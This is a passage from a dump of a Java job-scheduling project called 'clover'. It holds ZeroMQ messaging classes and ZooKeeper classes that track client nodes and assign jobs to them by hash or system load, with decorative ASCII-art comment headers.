basicDBObject.get(\"jobName\");\r\n                                String jobClassName = (String) basicDBObject.get(\"jobClassName\");\r\n                                Class<? extends Job> jobClass = (Class<? extends Job>) Class.forName(jobClassName);\r\n                                ClientJob.JobType jobType = ClientJob.JobType.valueOf((String) basicDBObject.get(\"jobType\"));\r\n                                ClientJob.ExecuteType executeType = ClientJob.ExecuteType.valueOf((String) basicDBObject.get(\"executeType\"));\r\n                                ClientJob.JobStrategy jobStrategy = ClientJob.JobStrategy.valueOf((String) basicDBObject.get(\"jobStrategy\"));\r\n                                String startTime = (String) basicDBObject.get(\"startTime\");\r\n                                String cronExpression = (String) basicDBObject.get(\"cronExpression\");\r\n                                ClientJob clientJob = null;\r\n                                if (!StringUtil.isEmpty(startTime) && !StringUtil.isEmpty(cronExpression)) {\r\n                                    clientJob = ClientJobBuilder.quickBuildJobWithJobTypeAndExecuteTypeAndJobStrategyAndStartDate(jobGroup, jobName, jobClass,\r\n                                            jobType, executeType, jobStrategy, DateUtil.formatWithDefaultPattern(startTime));\r\n                                } else if (!StringUtil.isEmpty(startTime) && StringUtil.isEmpty(cronExpression)) {\r\n                                    clientJob = ClientJobBuilder.quickBuildJobWithJobTypeAndExecuteTypeAndJobStrategyAndStartDate(jobGroup, jobName, jobClass,\r\n                                            jobType, executeType, jobStrategy, DateUtil.formatWithDefaultPattern(startTime));\r\n                                } else if (StringUtil.isEmpty(startTime) && !StringUtil.isEmpty(cronExpression)) {\r\n                                    clientJob = ClientJobBuilder.quickBuildJobWithJobTypeAndExecuteTypeAndJobStrategyAndCronExpression(jobGroup, jobName, jobClass,\r\n                                            jobType, executeType, jobStrategy, cronExpression);\r\n                                }\r\n                                if (null != clientJob) {\r\n                                    String fixedClientIps = (String) basicDBObject.get(\"fixedClientIps\");\r\n                                    if (!StringUtil.isEmpty(fixedClientIps))\r\n                                        clientJob.setFixedClientIps(fixedClientIps.split(\",\"));\r\n                                    String fixedServerIps = (String) basicDBObject.get(\"fixedServerIps\");\r\n                                    if (!StringUtil.isEmpty(fixedServerIps))\r\n                                        clientJob.setFixedServerIps(fixedServerIps.split(\",\"));\r\n                                    ModuleSchedulerClient.getInstance().handlerJob(clientJob);\r\n                                }\r\n                            }\r\n                        } else if (CommonConstants.MODULE_TYPE_SERVER_WITH_MONITOR.equals(zeroMQEntity.getDestServer())) {\r\n                            String mqMsg = zeroMQEntity.getMsg();\r\n                            if (!StringUtil.isEmpty(mqMsg)) {\r\n                                System.err.println(\"--------------MODULE_TYPE_SERVER_WITH_MONITOR--------------\");\r\n                                BasicDBObject basicDBObject = (BasicDBObject) com.mongodb.util.JSON.parse(mqMsg);\r\n                                String action = (String) basicDBObject.get(\"action\");\r\n                                String ip = (String) basicDBObject.get(\"ip\");\r\n                                if (!StringUtil.isEmpty(action) && !StringUtil.isEmpty(ip)) {\r\n                                    if (\"reloadDB\".equals(action)) {//恢复数据\r\n                                        DBCollection dbCollection = MongoDBUtil.INSTANCE.getCollection(DBTableInfo.TBL_CLOVER_JOB);\r\n                                        DBObject condition = new BasicDBObject();\r\n                                        condition.put(DBTableInfo.COL_SERVER_IP, ip);\r\n                                        condition.put(DBTableInfo.COL_JOB_TYPE, CommonConstants.JOB_TYPE_REMOTE);\r\n                                        DBCursor cursorDocMap = dbCollection.find(condition);\r\n                                        while (cursorDocMap.hasNext()) {\r\n                                            ClientJob clientJob = (ClientJob) ClassUtil.BytesToObject(Base64.decodeBase64((String) cursorDocMap.next()\r\n                                                    .get(DBTableInfo.COL_JOB_INFO)));\r\n                                            MyScheduler scheduler = MyScheduler.INSTANCE;\r\n                                            scheduler.start();\r\n                                            scheduler.add(clientJob);\r\n                                        }\r\n                                    }\r\n                                }\r\n                            }\r\n                        }\r\n                    }\r\n                }\r\n            } catch (Exception e) {\r\n                String execMethod = \"ZeroMQPull-->>recv(\" + addr + \")\";\r\n                String execResult = \"ZeroMQPull-->>recv(\" + addr + \")\" + \" error ,\" + e.getMessage();\r\n                MongoDBUtil.INSTANCE.insert(BuildMongoDBData.getInsertLogBasicDBObject(\"\",\r\n                        execMethod, execResult), DBTableInfo.TBL_CLOVER_LOG);\r\n            }\r\n        }\r\n    }\r\n\r\n    private void resetClientJobTriggerAndJobType(ClientJob clientJob) {\r\n        clientJob.setTrigger(TriggerBuilder.newTrigger().startNow().withIdentity(clientJob.getTrigger().getKey()).build());\r\n        clientJob.setJobType(ClientJob.JobType.LOCAL);\r\n    }\r\n\r\n    public boolean stop() {//server 关闭zmq方法\r\n        isStop = true;\r\n        pull.disconnect(\"tcp://\" + IpUtil.getLocalIP() + \":\" + CommonConstants.ZMQ_SERVER_PORT);\r\n        pull.close();\r\n        context.close();\r\n        return true;\r\n    }\r\n    public boolean stop(String ip,String port) {\r\n        isStop = true;\r\n        pull.disconnect(\"tcp://\" + ip + \":\" + port);\r\n        pull.close();\r\n        context.close();\r\n        return true;\r\n    }\r\n\r\n    public static void main(String args[]) {\r\n        String addr = \"tcp://*:\" + RandomNumUtil.getNextIntString();\r\n        ZeroMQPull.INSTANCE.recv(addr);\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/zeromq/ZeroMQPush.java",
    "content": "package com.gome.clover.common.zeromq;\r\n\r\nimport com.gome.clover.common.compress.CompressUtil;\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.IpUtil;\r\nimport org.zeromq.ZMQ;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:ZeroMQ Push\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic enum ZeroMQPush {\r\n    INSTANCE;\r\n    public boolean send(String addr,String msg){\r\n        try{\r\n            ZMQ.Context context = ZMQ.context(1);\r\n            ZMQ.Socket push  = context.socket(ZMQ.PUSH);\r\n            push.connect(addr);\r\n            boolean retValue = push.send(CompressUtil.compress(msg.getBytes()),ZMQ.NOBLOCK);\r\n            push.close();\r\n            context.term();\r\n            return retValue;\r\n            }catch (Exception e){\r\n                System.err.println(\"\"+e);\r\n                return false;\r\n            }\r\n    }\r\n\r\n    public static void main(String args[]){\r\n        String addr=\"tcp://\"+ IpUtil.getLocalIP()+\":\"+ CommonConstants.ZMQ_SERVER_PORT;\r\n        String msg=\"你好\";\r\n        ZeroMQPush.INSTANCE.send(addr,msg);\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/zeromq/ZeroMQSub.java",
    "content": "package com.gome.clover.common.zeromq;\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Subscriber\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.IpUtil;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\nimport org.zeromq.ZMQ;\r\n\r\npublic enum  ZeroMQSub {\r\n    INSTANCE;\r\n    private static  final Logger logger = LoggerFactory.getLogger(ZeroMQPub.class);\r\n    public void recv(String addr){\r\n        try {\r\n            ZMQ.Context context = ZMQ.context(1);  //创建1个I/O线程的上下文\r\n            ZMQ.Socket subscriber = context.socket(ZMQ.SUB);     //创建一个sub类型，也就是subscriber类型的socket\r\n            subscriber.connect(addr);    //监听的publisher建立连接\r\n            subscriber.subscribe((CommonConstants.TOPIC_CLOVER_CLIENT+\"@\"/*+IpUtil.getLocalIP()*/).getBytes());     //订阅这个channel\r\n            while (true){\r\n                String msg = new String(subscriber.recv());//接收publisher发送过来的消息\r\n                System.err.println(\"receive : \" +msg);\r\n            }\r\n        }catch (Exception e){\r\n            logger.error(\"ZeroMQSub-->>recv(\"+addr+\")\");\r\n        }\r\n\r\n    }\r\n    public static void main(String args[]) {\r\n        String addr=\"tcp://\"+ IpUtil.getLocalIP()+\":\"+ CommonConstants.ZMQ_SERVER_PORT;\r\n        ZeroMQSub.INSTANCE.recv(addr);\r\n        System.err.println(\"ZeroMQSub-----\");\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/zk/ClientDict.java",
    "content": "package com.gome.clover.common.zk;\r\n\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.mongodb.BasicDBObject;\r\nimport org.apache.curator.framework.CuratorFramework;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.util.Map;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Client Dict\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/28\r\n * Time: 16:00\r\n */\r\n\r\npublic class ClientDict {\r\n    public static ClientDict self = null;\r\n    protected static Logger logger = LoggerFactory.getLogger(ClientDict.class);\r\n    protected ZKConnect ZKConnect = null;\r\n    public ClientListener clientListener = null;\r\n\r\n    static {\r\n        self = new ClientDict();\r\n    }\r\n\r\n    public ClientDict() {\r\n        init();\r\n    }\r\n\r\n    public boolean init() {\r\n        logger.info(\"ClientDict init zookeeper...\");\r\n        this.ZKConnect = new ZKConnect();\r\n        if ((this.ZKConnect == null) || (!this.ZKConnect.start())) {\r\n            return false;\r\n        }\r\n        this.clientListener = new ClientListener(CommonConstants.ZK_ROOT_PATH + \"/client\", this.ZKConnect);\r\n        this.ZKConnect.addClientListener(this.clientListener);\r\n        this.clientListener.reload();\r\n        return true;\r\n    }\r\n\r\n    public CuratorFramework getZK() {\r\n        return this.ZKConnect.instance;\r\n    }\r\n\r\n    public BasicDBObject hashClient(String jobClass, String hashKey) {\r\n        return this.clientListener.clientNodes.hashClient(jobClass, hashKey);\r\n    }\r\n\r\n    /**\r\n     * hashClient4S\r\n     * @param jobClass\r\n     * @param hashKey\r\n     * @return\r\n     */\r\n    public Map hashClient4S(String jobClass, String hashKey) {\r\n        return this.clientListener.clientNodes.hashClient4S(jobClass, hashKey);\r\n    }\r\n\r\n    public BasicDBObject hashClientByFixedClientIps(String jobClass,String[] fixedClientIps) {\r\n        return this.clientListener.clientNodes.hashClientByFixedClientIps(jobClass, fixedClientIps);\r\n    }\r\n\r\n    /**\r\n     * hashClientByFixedClientIps升级版本(4S==For Super)\r\n     * @param jobClass\r\n     * @param fixedClientIps\r\n     * @return\r\n     */\r\n    public Map hashClient4SByFixedClientIps(String jobClass,String[] fixedClientIps) {\r\n        return this.clientListener.clientNodes.hashClient4SByFixedClientIps(jobClass, fixedClientIps);\r\n    }\r\n\r\n    public BasicDBObject hashClientBySystemCapacity(String jobClass) {\r\n        return this.clientListener.clientNodes.hashClientBySystemCapacity(jobClass);\r\n    }\r\n\r\n    /**\r\n     * hashClientBySystemCapacity升级版本(4S==For Super)\r\n     * @param jobClass\r\n     * @return\r\n     */\r\n    public Map hashClient4SBySystemCapacity(String jobClass) {\r\n        return this.clientListener.clientNodes.hashClient4SBySystemCapacity(jobClass);\r\n    }\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/zk/ClientListener.java",
    "content": "package com.gome.clover.common.zk;\r\n\r\nimport com.gome.clover.common.tools.DateUtil;\r\nimport com.gome.clover.common.tools.StringUtil;\r\nimport com.mongodb.BasicDBList;\r\nimport com.mongodb.BasicDBObject;\r\nimport com.mongodb.util.JSON;\r\nimport org.apache.zookeeper.WatchedEvent;\r\nimport org.apache.zookeeper.Watcher;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.util.List;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/28\r\n * Time: 16:08\r\n */\r\n\r\npublic class ClientListener implements Watcher {\r\n    protected static Logger logger = LoggerFactory.getLogger(ClientListener.class);\r\n    protected String prefixPath = \"\";\r\n    protected ClientNodes clientNodes = new ClientNodes();\r\n    protected ZKConnect ZKConnect = null;\r\n    protected Integer LOCK = Integer.valueOf(0);\r\n\r\n    public ClientListener(String prefixPath, ZKConnect ZKConnect) {\r\n        this.prefixPath = prefixPath;\r\n        this.ZKConnect = ZKConnect;\r\n    }\r\n\r\n    public BasicDBList records() {\r\n        return this.clientNodes.records;\r\n    }\r\n\r\n\r\n    public BasicDBObject hashClient(String jobClass, String hashKey) {\r\n        return this.clientNodes.hashClient(jobClass, hashKey);\r\n    }\r\n\r\n    public void removeRecord(String id) {\r\n        this.clientNodes.remove(id);\r\n    }\r\n\r\n    public void addRecord(String id) {\r\n        if (!this.ZKConnect.checkAlive())\r\n            return;\r\n        try {\r\n            String c = this.ZKConnect.getData(this.prefixPath + \"/\" + id);\r\n            if (c == null) {\r\n                return;\r\n            }\r\n            BasicDBObject record = (BasicDBObject) JSON.parse(c);\r\n            this.clientNodes.add(record);\r\n        } catch (Exception e) {\r\n            logger.error(\"ClientListener-->>ServerNodeListener error \", e);\r\n        }\r\n    }\r\n\r\n    public void reload() {\r\n        if (!this.ZKConnect.checkAlive()) {\r\n            return;\r\n        }\r\n        if (!this.ZKConnect.exists(this.prefixPath))\r\n            return;\r\n        try {\r\n            String timeStamp = DateUtil.currentDateTime();\r\n            List items = this.ZKConnect.getChildrens(this.prefixPath);\r\n            for (int i = 0; (items != null) && (i < items.size()); i++) {\r\n                String id = (String) items.get(i);\r\n                String c = this.ZKConnect.getData(this.prefixPath + \"/\" + id);\r\n                if (c == null) {\r\n                    continue;\r\n                }\r\n                BasicDBObject record = (BasicDBObject) JSON.parse(c);\r\n                record.put(\"timeStamp\", timeStamp);\r\n                this.clientNodes.add(record);\r\n            }\r\n            int index = 0;\r\n            while (index < this.clientNodes.records.size()) {\r\n                BasicDBObject record = (BasicDBObject) this.clientNodes.records.get(index);\r\n                if (record.getString(\"timeStamp\").equalsIgnoreCase(timeStamp)) {\r\n                    index++;\r\n                } else if (!this.clientNodes.remove(record.getString(\"id\"))) {\r\n                    index++;\r\n                }\r\n            }\r\n        } catch (Exception e) {\r\n            logger.error(\"ServerListener-->>reload() error.\", e);\r\n        }\r\n    }\r\n\r\n    public void process(WatchedEvent event) {\r\n        if (event == null) {\r\n            return;\r\n        }\r\n        String path = event.getPath();\r\n        if ((path == null) || (!path.startsWith(this.prefixPath))) {\r\n            return;\r\n        }\r\n        synchronized (this.LOCK) {\r\n            try {\r\n                String[] values = StringUtil.split(path, '/');\r\n                String id = values.length >= 2 ? values[1] : \"\";\r\n                BasicDBObject oServer = null;\r\n                if (event.getType() == Event.EventType.NodeCreated) {\r\n                    addRecord(id);\r\n                } else if (event.getType() == Event.EventType.NodeDeleted) {\r\n                    removeRecord(id);\r\n                } else if (event.getType() == Event.EventType.NodeDataChanged) {\r\n                    addRecord(id);\r\n                } else if (event.getType() == Event.EventType.NodeChildrenChanged) {\r\n                    reload();\r\n                }\r\n            } catch (Exception e) {\r\n                logger.error(\"ServerListener-->>process(\" + com.alibaba.fastjson.JSON.toJSONString(event) + \") error.\", e);\r\n            }\r\n        }\r\n    }\r\n}"
  },
  {
    "path": "clover/clover-core/src/main/java/com/gome/clover/common/zk/ClientNodes.java",
    "content": "package com.gome.clover.common.zk;\r\n\r\nimport com.gome.clover.common.hash.HashTimes;\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.StringUtil;\r\nimport com.mongodb.BasicDBList;\r\nimport com.mongodb.BasicDBObject;\r\nimport org.slf4j.Logger;\r\nimport org.slf4j.LoggerFactory;\r\n\r\nimport java.util.HashMap;\r\nimport java.util.HashSet;\r\nimport java.util.Iterator;\r\nimport java.util.Map;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:Client Nodes\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/28\r\n * Time: 21:40\r\n */\r\npublic class ClientNodes extends CommonNodes {\r\n    protected static Logger logger = LoggerFactory.getLogger(ServerNodes.class);\r\n    protected HashMap<String, BasicDBObject> recordsById = new HashMap();\r\n    protected HashMap<String, BasicDBList> recordsByJobClass = new HashMap();\r\n    protected BasicDBList records = new BasicDBList();\r\n    protected HashSet<String> jobClassSet = new HashSet();\r\n\r\n    public BasicDBObject hashClient(String jobClass, String hashKey) {\r\n        BasicDBList items = getRecordsByJobClass(jobClass);\r\n        if ((items == null) || (items.size() == 0)) {\r\n            return null;\r\n        }\r\n        if (StringUtil.isEmpty(hashKey)) {\r\n            hashKey = allocateNo();\r\n        }\r\n        int index = HashTimes.use33(hashKey) % items.size();\r\n        return (BasicDBObject) items.get(index);\r\n    }\r\n\r\n    /**\r\n     * hashClient升级版本(4S==For Super)\r\n     * @param jobClass\r\n     * @param hashKey\r\n     * @return\r\n     */\r\n    public Map hashClient4S(String jobClass, String hashKey) {\r\n        Map map = new HashMap();\r\n        BasicDBList items = getRecordsByJobClass(jobClass);\r\n        if ((items == null) || (items.size() == 0)) {\r\n            map.put(CommonConstants.SUCCESS, false);\r\n            map.put(CommonConstants.ERROR_CODE, CommonConstants.ERROR_CODE_101);\r\n            return map;\r\n        }\r\n        if (StringUtil.isEmpty(hashKey)) {\r\n            hashKey = allocateNo();\r\n        }\r\n        int index = HashTimes.use33(hashKey) % items.size();\r\n        map.put(CommonConstants.SUCCESS, true);\r\n        map.put(CommonConstants.CLIENT_JOB_INFO, items.get(index));\r\n        return map;\r\n    }\r\n\r\n    public BasicDBObject hashClientByFixedClientIps(String jobClass, String[] fixedClientIps) {\r\n        BasicDBList items = getRecordsByJobClass(jobClass);\r\n        if ((items == null) || (items.size() == 0)) {\r\n            return null;\r\n        }\r\n        int index = -1;\r\n        for (String fixedClientIp : fixedClientIps) {\r\n            index = findIndexByIp(fixedClientIp, items);\r\n            if (index == -1) continue;\r\n        }\r\n        if (index == -1) {\r\n            return null;\r\n        }\r\n        return (BasicDBObject) items.get(index);\r\n    }\r\n\r\n    /**\r\n     * hashClientByFixedClientIps升级版本(4S==For Super)\r\n     * @param jobClass\r\n     * @param fixedClientIps\r\n     * @return\r\n     */\r\n    public Map hashClient4SByFixedClientIps(String jobClass, String[] fixedClientIps) {\r\n        Map map = new HashMap();\r\n        BasicDBList items = getRecordsByJobClass(jobClass);\r\n        if ((items == null) || (items.size() == 0)) {\r\n            map.put(CommonConstants.SUCCESS, false);\r\n            map.put(CommonConstants.ERROR_CODE, CommonConstants.ERROR_CODE_101);\r\n        }\r\n        int index = -1;\r\n        for (String fixedClientIp : fixedClientIps) {\r\n            index = findIndexByIp(fixedClientIp, items);\r\n            if (index == -1) continue;\r\n        }\r\n        if (index == -1) {\r\n            map.put(CommonConstants.SUCCESS, false);\r\n            map.put(CommonConstants.ERROR_CODE, CommonConstants.ERROR_CODE_101);\r\n        }\r\n        map.put(CommonConstants.SUCCESS, true);\r\n        map.put(CommonConstants.CLIENT_JOB_INFO, items.get(index));\r\n        return map;\r\n    }\r\n\r\n    public BasicDBObject hashClientBySystemCapacity(String jobClass) {\r\n        BasicDBList items = getRecordsByJobClass(jobClass);\r\n        int itemLen;\r\n        if ((items == null) || ((itemLen = items.size()) == 0)) {\r\n            return null;\r\n        } else if (1 == itemLen) {\r\n            BasicDBObject item = (BasicDBObject) items.get(0);\r\n            double memRatio = Double.valueOf(String.valueOf(item.get(CommonConstants.MEM_RATIO)));\r\n            double cpuRatio = Double.valueOf(String.valueOf(item.get(CommonConstants.CPU_RATIO)));\r\n            if (memRatio > CommonConstants.MAX_MEM_RATIO || cpuRatio > CommonConstants.MAX_CPU_RATIO  ) {\r\n                logger.error(\"ClientNodes-->>hashClientBySystemCapacity(\" + jobClass + \") the memRatio(\" + memRatio + \")\" +\r\n                        \" over max mem ratio(\"+CommonConstants.MAX_MEM_RATIO+\") or the cpuRatio(\"+cpuRatio+\") \" +\r\n                        \"over max cpu ratio(\"+CommonConstants.MAX_CPU_RATIO+\") \");\r\n                return null;\r\n            } else {\r\n                return item;\r\n            }\r\n        } else if (itemLen > 1) {\r\n            BasicDBObject tempItem = (BasicDBObject) items.get(0);\r\n            int minMemRatioIndex = 0;\r\n            double minMemRatioValue = Double.valueOf(String.valueOf(tempItem.get(CommonConstants.MEM_RATIO)));\r\n            double minCpuRatioValue = Double.valueOf(String.valueOf(tempItem.get(CommonConstants.CPU_RATIO)));\r\n            int minTotalThreadValue = Integer.valueOf(String.valueOf(tempItem.get(CommonConstants.TOTAL_THREAD)));\r\n            double minTotalValue = minMemRatioValue + minCpuRatioValue + minTotalThreadValue;\r\n            for (int i = 1; i < itemLen; i++) {\r\n                tempItem = (BasicDBObject) items.get(i);\r\n                double tempMemRatioValue = Double.valueOf(String.valueOf(tempItem.get(CommonConstants.MEM_RATIO)));\r\n                double tempCpuRatioValue = Double.valueOf(String.valueOf(tempItem.get(CommonConstants.CPU_RATIO)));\r\n                int tempTotalThreadValue = Integer.valueOf(String.valueOf(tempItem.get(CommonConstants.TOTAL_THREAD)));\r\n                double tempTotalValue = tempMemRatioValue + tempCpuRatioValue + tempTotalThreadValue;\r\n                if (tempTotalValue < minTotalValue) {\r\n                    minMemRatioValue = tempMemRatioValue;\r\n                    minCpuRatioValue = tempCpuRatioValue;\r\n                    minTotalThreadValue = tempTotalThreadValue;\r\n                    minTotalValue = minMemRatioValue + minCpuRatioValue + minTotalThreadValue;\r\n                    minMemRatioIndex = i;\r\n                }\r\n            }\r\n            if (minMemRatioValue > CommonConstants.MAX_MEM_RATIO || minCpuRatioValue > CommonConstants.MAX_CPU_RATIO) {\r\n                logger.error(\"ClientNodes-->>hashClientBySystemCapacity(\" + jobClass + \") \" +\r\n                        \"the memRatio(\" + minMemRatioValue + \") over max mem ratio(\" + CommonConstants.MAX_MEM_RATIO + \")\" +\r\n                        \"or the cpuRatio(\"+minCpuRatioValue+\") over max cpu ration (\"+CommonConstants.MAX_CPU_RATIO+\") \");\r\n                return null;\r\n            } else {\r\n                return (BasicDBObject) items.get(minMemRatioIndex);\r\n            }\r\n        }\r\n        return null;\r\n    }\r\n\r\n    /**\r\n     * hashClientBySystemCapacity升级版本(4S==For Super)\r\n     *\r\n     * @param jobClass\r\n     * @return\r\n     */\r\n    public Map hashClient4SBySystemCapacity(String jobClass) {\r\n        Map map = new HashMap();\r\n        BasicDBList items = getRecordsByJobClass(jobClass);\r\n        int itemLen;\r\n        if ((items == null) || ((itemLen = items.size()) == 0)) {\r\n            map.put(CommonConstants.SUCCESS, false);\r\n            map.put(CommonConstants.ERROR_CODE, CommonConstants.ERROR_CODE_101);\r\n            return map;\r\n        } else if (1 == itemLen) {\r\n            BasicDBObject item = (BasicDBObject) items.get(0);\r\n            double memRatio = Double.valueOf(String.valueOf(item.get(CommonConstants.MEM_RATIO)));\r\n            double cpuRatio = Double.valueOf(String.valueOf(item.get(CommonConstants.CPU_RATIO)));\r\n            if (memRatio > CommonConstants.MAX_MEM_RATIO || cpuRatio > CommonConstants.MAX_CPU_RATIO) {\r\n                logger.error(\"ClientNodes-->>hashClient4SBySystemCapacity(\" + jobClass + \") the memRatio(\" + memRatio + \")\" +\r\n                        \" over max mem ratio(\" + CommonConstants.MAX_MEM_RATIO + \") or the cpuRatio(\"+cpuRatio+\")\" +\r\n                        \" over max cpu ratio(\"+CommonConstants.MAX_CPU_RATIO+\") \");\r\n                map.put(CommonConstants.SUCCESS, false);\r\n                map.put(CommonConstants.ERROR_CODE, CommonConstants.ERROR_CODE_102);\r\n                map.put(CommonConstants.MEM_RATIO, memRatio);\r\n                map.put(CommonConstants.CPU_RATIO, cpuRatio);\r\n                return map;\r\n            } else {\r\n                map.put(CommonConstants.SUCCESS, true);\r\n                map.put(CommonConstants.CLIENT_JOB_INFO, item);\r\n                return map;\r\n            }\r\n        } else if (itemLen > 1) {\r\n            BasicDBObject tempItem = (BasicDBObject) items.get(0);\r\n            int minMemRatioIndex = 0;\r\n            double minMemRatioValue = Double.valueOf(String.valueOf(tempItem.get(CommonConstants.MEM_RATIO)));\r\n            double minCpuRatioValue = Double.valueOf(String.valueOf(tempItem.get(CommonConstants.CPU_RATIO)));\r\n            int minTotalThreadValue = Integer.valueOf(String.valueOf(tempItem.get(CommonConstants.TOTAL_THREAD)));\r\n            double minTotalValue = minMemRatioValue + minCpuRatioValue + minTotalThreadValue;\r\n            for (int i = 1; i < itemLen; i++) {\r\n                tempItem = (BasicDBObject) items.get(i);\r\n                double tempMemRatioValue = Double.valueOf(String.valueOf(tempItem.get(CommonConstants.MEM_RATIO)));\r\n                double tempCpuRatioValue = Double.valueOf(String.valueOf(tempItem.get(CommonConstants.CPU_RATIO)));\r\n                int tempTotalThreadValue = Integer.valueOf(String.valueOf(tempItem.get(CommonConstants.TOTAL_THREAD)));\r\n                double tempTotalValue = tempMemRatioValue + tempCpuRatioValue + tempTotalThreadValue;\r\n                if (tempTotalValue < minTotalValue) {\r\n                    minMemRatioValue = tempMemRatioValue;\r\n                    minCpuRatioValue = tempCpuRatioValue;\r\n                    minTotalThreadValue = tempTotalThreadValue;\r\n                    minTotalValue = minMemRatioValue + minCpuRatioValue + minTotalThreadValue;\r\n                    minMemRatioIndex = i;\r\n                }\r\n            }\r\n            if (minMemRatioValue > CommonConstants.MAX_MEM_RATIO || minCpuRatioValue > CommonConstants.MAX_CPU_RATIO) {\r\n                logger.error(\"ClientNodes-->>hashClient4SBySystemCapacity(\" + jobClass + \") \" +\r\n                        \"the memRatio(\" + minMemRatioValue + \") over max mem ratio(\" + CommonConstants.MAX_MEM_RATIO + \")\" +\r\n                        \"or the cpuRatio(\"+minCpuRatioValue+\") 